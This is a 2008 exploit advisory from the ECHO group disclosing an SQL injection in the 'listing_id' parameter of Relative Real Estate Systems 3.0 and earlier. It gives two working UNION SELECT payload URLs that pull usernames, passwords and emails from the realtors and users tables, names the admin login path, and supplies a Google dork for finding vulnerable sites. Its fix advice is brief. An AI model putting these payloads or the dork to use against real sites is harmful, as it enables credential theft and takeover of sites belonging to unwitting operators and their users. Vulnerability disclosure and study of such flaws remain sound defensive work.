Exploit Code :  

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.OR.ID
ECHO_ADV_99$2008

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[ECHO_ADV_99$2008] Relative Real Estate Systems <= 3.0 (listing_id) Sql
Injection Vulnerability
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Author : M.Hasran Addahroni
Date : June, 24 th 2008
Location : Jakarta, Indonesia
Web : http://e-rdc.org/v1/news.php?readmore=101
Critical Lvl : Medium
Impact : System access
Where : From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Relative Real Estate Systems
version : <= 3.0
Vendor : http://www.dboorn.com/estate/
Description :

Elegant real estate script that allows for unlimited listings and agents
with featured listings,
unlimited photos, advanced search engine, user login option, user
tracking, dynamic slide shows,
Mls/Idx support, multiple agents with photo, mortgage calculator,
schools info, C.M.A.
request form, full admin panel.Requires PHP/Mysql Windows Server or any
Web server with php support.

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Vulnerability:
~~~~~~~~~~~~~

Input passed to the "listing_id" parameter in index.php is not properly
verified before being used
in an sql query.
This can be exploited thru the browser to manipulate SQL queries and
pull the username and password from realtors
and users in plain text.
Successful exploitation requires that "magic_quotes" is off.


Poc/Exploit:
~~~~~~~~~

http://[URL]/[path]/index.php?go=listings&listing_id=-30%20union%20selec
t%201,2,3,4,5,6,7,8,concat(id,0x3a,username,0x3a,password,0x3a,email),0,
1,2,3,4,5,6,7,8,9,0,1%20from%20realtors--

http://[URL]/[path]/index.php?go=listings&listing_id=-30%20union%20selec
t%201,2,3,4,5,6,7,8,concat(username,0x3a,password),0,1,2,3,4,5,6,7,8,9,0
,1%20from%20users--

Admin Login at http://[URL]/[PATH]/Admin/login_index.php

Dork:
~~~~
Google : "index.php?go=listings&listing"


Solution:
~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini


Timeline:
~~~~~~~~

- 24 - 06 - 2008 bug found
- 24 - 06 - 2008 vendor contacted
- 24 - 06 - 2008 advisory released
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Shoutz:
~~~~
~ ping - my dearest wife, zautha - my little warrior
~
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~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOCIATES
~
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~
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SH3R,
kuntua, stev_manado,nofry,k1tk4t,0pt1c
~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net

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Contact:
~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://www.e-rdc.org/

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